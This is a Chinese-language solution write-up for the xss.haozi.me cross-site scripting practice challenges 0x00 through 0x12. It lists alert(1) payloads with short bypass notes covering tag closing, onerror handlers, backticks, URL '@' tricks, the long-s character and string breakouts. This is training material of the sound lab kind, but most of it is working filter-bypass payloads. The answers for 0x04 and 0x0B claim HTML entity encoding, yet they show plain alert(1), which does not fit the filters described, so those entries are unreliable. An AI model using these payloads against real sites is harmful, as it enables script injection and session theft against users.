XSS(haozi)练习题解
简单的记录一下自己XSS的练习。
题目网址:https://xss.haozi.me/#/0x00
0x00
<script>alert(1)</script>
<img src="任意图片名" onerror="alert(1)">
解题思路:没什么技术含量,一个基本的XSS。这里也可以利用资源报错来弹窗。
0x01
</textarea><script>alert(1)</script>
</textarea><img src="任意图片名" onerror="alert(1)">
解题思路:这里主要是要将默认返回的标签先闭合再插入XSS代码。(后半部分闭不闭合皆可)。
0x02
"><script>alert(1)</script>
"><img src="任意图片名" onerror="alert(1)">
解题思路:同样是闭合题中所给的标签。
0x03
<script>alert`1`</script>
<img src="任意图片名" onerror="alert`1`">
解题思路:题目中有对括号的过滤,这里考虑使用反撇号来代替括号起到相同的效果。
0x04
<img src="任意图片名" onerror="alert(1)">
<img src="任意图片名" onerror="alert`1`">
解题思路:题目将反撇号也过滤掉了,所以考虑用HTML实体编码来进行绕过。
其中上面一行为左右括号,下面一行为反撇号。
0x05
--!><img src="任意图片名" onerror="alert(1)">
解题思路:题目将用于闭合注释的-->过滤掉了,用--!>来闭合即可。
0x06
type="image" src="1" onerror
="alert(1)"
解题思路:在input标签中添加一个图片类型,然后依然利用资源报错(注意换行的位置)
0x07
<img src="1" onerror="alert(1)"
解题思路:这个是过滤了所有以 /</?[^>]开头 和 > 结尾的字符,所以最后面不加>就好了。
0x08
</style
><script>alert(1)</script>
解题思路:这个是过滤了标签导致无法闭合,所以用换行或者空格将它分开以绕过。
0x09
https://www.segmentfault.com"></script><img src="1" onerror="alert(1)">
解题思路:这里限制了URL,其余的按正常套路闭合即可。
0x0A
https://www.segmentfault.com@xss.haozi.me/j.js
解题思路:这个用到了@,在URL中会解析@后面的网址,如果你的没弹出来试试换个浏览器,我的用火狐就可以了。
0x0B
<img src="1" onerror="alert(1)">
解题思路:这个题将所有的字母都换成了大写,所以要将alert(1)进行HTML实体字符转换。
0x0C
<img src="1" onerror="alert(1)">
解题思路:这里过滤了script标签,继续使用资源报错的方式弹窗即可。
0x0D
alert(1)
-->
解题思路:这个是将输入内容带入到了注释中,可以用换行逃逸。由于过滤了单引号',所以后面的 ')可以用-->注释掉。
0x0E
<ſcript src="https://xss.haozi.me/j.js"></script>
解题思路:过滤了所有<与字母的组合。即<s无法使用。但是ſ大写后为S,且其ascii值不与s相等,因此可以绕过。
0x0F
');alert(1)//
解题思路:先闭合前面的console.log部分,然后在最后注释掉后面的部分。
0x10
1;alert(1);
解题思路:依旧是闭合思路。
0x11
");alert(1)//
解题思路:同0x0F,闭合前面,注释掉后面。
0x12
\");alert(1);//
解题思路:同样的闭合前面,注释掉后面。